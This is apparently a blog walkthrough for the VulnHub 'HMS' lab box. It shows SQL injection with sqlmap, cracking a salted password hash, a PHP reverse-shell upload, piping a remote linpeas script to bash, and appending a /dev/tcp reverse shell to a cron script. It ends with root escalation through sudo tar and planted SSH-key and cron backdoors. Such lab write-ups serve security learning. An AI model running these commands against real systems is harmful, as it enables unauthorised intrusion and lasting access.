VulnHub Writeup: HMS
The next box that our team has chosen was “HMS” off of vulnhub. This box helped the team realize the necessity of a repeatable process and leverage a tool in new ways to get elevated on the system. It starts off with this:
So no IP address show, so we need to find it. Since we used netdiscover on the last one, let’s try fping this time:
Since my address is 101, that leaves two options. Looking at my VirtualBox config, 100 is the VM controller…guess it’s 102! Let’s check it out. We can start with rustscan -a $IP — -Pn -sC -sV -oN hms.nmap. Looks like we get two ports back: 21 and 22. While we check port 21, I’ll run a full scan for the rest of the ports. 22 is the standard ssh with nothing much to checkout. Let’s check ftp and it allows anonymous login. After login, we can see that there isn’t much for us anonymous users:
Looking at the permissions, it appears that we can read but can’t write and there are no files or directories to peruse. Okay, so if 21 and 22 aren’t good, maybe we need to look for some non-standard ports. rustscan -r 1–65535 -a $IP — -oN hms.nmap_full. Ah, there is another port hiding out there: 7080. So let’s enumerate this guy manually and see what we get. Let’s do some banner grabbing and see what it returns:
So it’s a webpage. I just typed in “hello” and I got a response back. If I had a few hunches, I could enter those commands to see if it responds in a way we expect. For instance, if we want to check for a mail server, I may try “EHLO” and see if I get an SMTP response. In this case, I have it a bad command and it returns an HTTP protocol. Cool, let’s start checking it out with curl $IP:7080 and we get a login page. Let’s navigate to it with a browser and we get:
So there is no register link from here and we don’t have credentials. Let’s check for sql errors on the sign-in with sqlmap. As I hate trying to craft the right request from the command line, I’ll use Burp Suite to intercept the request and save it to a file. I caught the item below. Do a right-click and “Copy to File” and I saved it as a “hms.req”.
Now that I have that all captured, I’ll just pass that to sqlmap -r hms.req and I’ll let that run while we check out the source code of the page. Almost as soon as sqlmap starts, it indicates it found the database type already…looks like MySQL. Cool, I’ll just hit “Y” when it asks questions and we see that we got a blind sql attack available on the username field. Since I already started down the sql path, I’ll just keep using sqlmap to enumerate the database.
- sqlmap -r hms.req — dbms=mysql — current-db — current-user → So we are root@localhost in the “clinic_db”
- sqlmap -r hms.req — dbms=mysql -D clinic_db — tables → so quite a few tables available, let’s start enumerating
- sqlmap -r hms.req — dbms=mysql -D clinic_db -T user — dump → Empty, rats
- sqlmap -r hms.req — dbms=mysql -D clinic_db -T admin — dump → Alright, that gives us one user (admin) with an email, password hash, and name.
- sqlmap -r hms.req — dbms=mysql — os-shell → unable to pull a shell automatically, rats but had to try.
There are some more things that I can do with sqlmap like pull files from the system and write to databases. In my process, that isn’t my goal yet. I’m still on enumeration and what I really want is on to the webpage (bypass authentication). If I get stuck and that turns out to be unfruitful, I’ll come back to this and dig deeper. Keep in mind that if we are doing this in an actual test, the amount of data that is being logged in the server is going to set off an alert (or so it should anyway). Once you get on to the box, I challenge you to go look at the access.log and msql.log files and see all the content that is now in there. If I put my BlueTeam hat on, I see that dump in the database and know exactly what just happened here….anyways. Since I have a password hash, let’s see what kind of hash it is with hash-identifier and it says it is a “sha-256.” I’ll just pass it to john and see what he can do: john — wordlist=rockyou.txt — format=Raw-sha256 hms.hash. It ends quite quickly with no results. Weird, but maybe this password is salted or uses special encryption that we don’t know about. We don’t have the source code, but it has an open-source feel. Time for Google! Doing a Google search for “Health Management System” returns quite a few unfruitful results. Didn’t we see an author’s name? Let’s do a Google Dork for “Health Management System Nikhil Bhalearo password” and the very first link gives us the website with the source code. Easy, I download the source code and inside the login.php file I see this:
Okay, let’s add this to our hashfile and now we have the hash and the salt. I need to put the hash in a file with the salt separated by a ‘$’. Let’s look through john and find the format. Doing john — list=subformats I don’t find a match, so let’s create our own. Read carefully above to see how the $pass is made. It hashes the password, concatenates the salt with this password hash, then hashes that! Okay, multi-step but we can tell john to do just that.
And there we go, the password is admin…probably could have guessed that, but we followed the process. Navigate back to the page and we can login with the email and password. That brings us to another page with quite a few links in it. I’ll check the source code of the page and find a page that is commented out “settings.php”. That sounds like a page I’d like to visit, so navigating to it directly gives me a way to upload an image and what appears to be HTML tags in the Address. Let me try to upload a file as an image and see if that gets us there. I’ll upload a standard php-reverse-shell.php and it takes it! Since the source code tells me where the uploaded files are, I’ll just navigate to it after starting a listener with nc -lvnp 12345 and voila: a shell.
As you can see, I always check what is in the path first before assuming I can just execute a command. Something is wrong with python3, so I tried python2 and got upgraded to a tty shell. Perfect. We are on as daemon right off the bat but looking in the home directory there are two other users I could lateral to: nivek and eren. I’ll start updog on my computer and get linpeas going with curl 192.168.56.101:9090/linpeas.sh | bash | tee /tmp/linpeas.output. Right off the bat it points out an older kernel version, but I’ll reserve those paths for last as I don’t want the have to reset the box if it fails. Interesting results:
- It appears Eren has a backup script that runs every 5 seconds. Soon as we get read/write access to that it should help.
- gcc/g++ is available so we can compile exploits if we need.
- Port 631 is actively listening on localhost
- nivek is in quite a few good groups if we can impersonate him
- bash has a SUID bit as eren
- Not sure why I own the at command, but I do
- Quite a few backup files.
Okay, where to start. I’ll start with the easy and work my way up. Let’s try to run that bash prompt: bash -p and it drops me in as eren. Okay, this isn’t a full interactive shell only a shell with an effective UID as eren. So inside the eren directory is a bash script that executes a tar command overwriting the /var/www/html directory. Looks like it is make it a pristine copy to help with the users who will try to break the webpage. But what can we do with this? Doesn’t seem much, but we can edit the file. So how about we just upgrade ourselves to a full eren shell instead of the SUID thing. Let’s just see if netcat can give us a shell “nc 192.168.56.101 12346 -e /bin/bash” and it gives an error message because it doesn’t support the -e option. Okay, next option. Let’s try a bash shell with bash -i >& /dev/tcp/192.168.56.101/12346 0>&1 and that gives us a shell. Cool, let’s add that to the backup.sh file with echo “bash -i >& /dev/tcp/192.168.56.101/12346 0>&1” >> backup.sh and wait.
Okay, we got an interactive shell. Now that we are a new user and we have a tty, let’s try running sudo -l and we get a hit. It says we can run the tar command as root with no password. Well, GTFOBins tells us that’s a bad idea and now we have a root shell.
So most of those things we found with linpeas.sh had no usage on our path to root, but doesn’t mean we couldn’t have used them. I just took the path of least resistance to get me there. However, not that I am here I’m going to put in a few backdoors so that I can come back later. Today I’m going to put two things on the box: an ssh key in root’s directory so I can come back when I want and a beacon in the crontab to call back to me at a frequency. Multiple backdoors are a redundancy I don’t recommend you go without. If you have been following along this journey, we didn’t do anything new here. Just used things from our toolbox we already know and combine them together. Added a little depth to both john and sqlmap, but nothing special that isn’t already in the help/man pages. See you all on the next box our team decides to use to grow! HMU if you got any questions!